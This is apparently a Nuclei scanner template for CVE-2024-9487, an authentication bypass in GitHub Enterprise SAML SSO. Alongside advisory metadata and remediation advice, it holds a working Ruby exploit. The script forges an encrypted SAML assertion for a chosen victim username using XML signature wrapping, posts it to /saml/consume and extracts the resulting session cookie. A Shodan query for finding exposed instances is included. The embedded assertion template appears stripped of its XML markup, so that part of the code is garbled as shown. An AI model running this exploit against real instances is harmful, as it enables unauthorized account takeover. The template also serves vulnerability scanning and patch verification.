id: CVE-2024-9487 info: name: GitHub Enterprise - SAML Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program. impact: | Unauthenticated attackers can bypass SAML SSO authentication through crafted SAML responses, enabling unauthorized user provisioning and instance access on GitHub Enterprise Server. remediation: | Upgrade GitHub Enterprise Server to version 3.11.16, 3.12.10, 3.13.5, or 3.14.2 or later that properly verifies cryptographic signatures. reference: - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass - https://github.com/advisories/GHSA-g83h-4727-5rpv classification: epss-score: 0.50689 epss-percentile: 0.979 metadata: verified: true shodan-query: title:"GitHub Enterprise" tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln code: - engine: - ruby source: | ## Variable Usage: # username - Victim Github Username/Email to impersonate. # SAMLResponse - SAML Response body. # metadata_url - IDP's Metadata URL. # RelayState - Relay state associated with the SAML Response body. require 'nokogiri' require 'openssl' require 'base64' require 'cgi' require 'open-uri' saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse'])) saml_response = Nokogiri::XML(saml_response_xml) namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'} issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text metadata_idp_url = (ENV['metadata_url']) # URL to fetch the XML from url = "#{ENV['RootURL']}/saml/metadata" begin # Open the URL and read the XML xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read # Parse the XML content with Nokogiri doc = Nokogiri::XML(xml_content) idp_doc = Nokogiri::XML(xml_content_idp) # Extract the ds:X509Certificate certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#') audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#') # Print the extracted certificate if certificate enc_cert = Base64.decode64("#{certificate.text.strip}") else puts "ds:X509Certificate not found in the XML." end rescue OpenURI::HTTPError => e puts "HTTP Error: #{e.message}" rescue => e puts "An error occurred: #{e.message}" end signed_assertion_xml = <<-XML issuer_replace2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==cert_replaceuser_replaceaudience_replaceurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportuser_replace XML signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert doc = Nokogiri::XML(signed_assertion_xml) signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) cert = enc_cert cert = OpenSSL::X509::Certificate.new(cert) public_key = cert.public_key # Encrypt the signed assertion node using AES and RSA for key wrapping def encrypt_assertion(assertion_node, rsa_public_key) # Create a random AES key for encrypting the data aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key # Encrypt the signed assertion (as an XML string) cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = aes_key encrypted_data = cipher.update(assertion_node) + cipher.final # Encrypt the AES key using the RSA public key encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4) # Base64 encode both the encrypted data and the encrypted AES key encrypted_data_b64 = Base64.encode64(encrypted_data) encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key) encrypted_assertion_xml = <<-XML #{encrypted_aes_key_b64} #{encrypted_data_b64} XML Nokogiri::XML(encrypted_assertion_xml) end # Parse the signed assertion into Nokogiri XML document doc = Nokogiri::XML(signed_assertion_xml) assertion_node = doc.at('//saml2:Assertion', namespaces) assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}" assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient assertion_node_str = assertion_node_str.gsub! "audience_replace", audience assertion_node_1 = Nokogiri::XML(assertion_node_str) assertion_node_dup = assertion_node_1.dup assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove assertion_node_dup.xpath('//text()').each do |text_node| text_node.content = text_node.text.strip end canonical_xml = assertion_node_dup.canonicalize( Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, [], # InclusiveNamespaces PrefixList false # WithComments ) # Compute the SHA-256 Digest digest = OpenSSL::Digest::SHA256.digest(canonical_xml) digest_base64 = Base64.encode64(digest).strip assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64 final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key) encrypted_assertion_node_str = encrypted_assertion_node.to_xml #create new saml doc saml_resp_node = saml_response.at('/saml2p:Response', namespaces) saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces) saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces) object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node) object_node.namespace = saml_resp_sign_node.namespace object_node.add_child(saml_resp_node.dup) saml_resp_sign_key_node.add_next_sibling(object_node) encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str) encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces ) saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1) saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae" puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML))) http: - raw: - | POST /saml/consume HTTP/1.1 Host: {{Hostname}} Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}}; Content-Type: application/x-www-form-urlencoded RelayState={{RelayState}}&SAMLResponse={{code_response}} matchers: - type: dsl dsl: - 'contains(header,"dotcom_user")' - 'status_code == 302' condition: and extractors: - type: kval kval: - user_session # digest: 490a00463044022068f5117b37545d43b2765a08360c65cb53a26ab79df894e1461e798c34250d5b022074d7cbe5ff3b49ede29a5db6c12d889a9ac1fb1f81d16b17eac7b3402f54ed3a:922c64590222798bb761d5b6d8e72950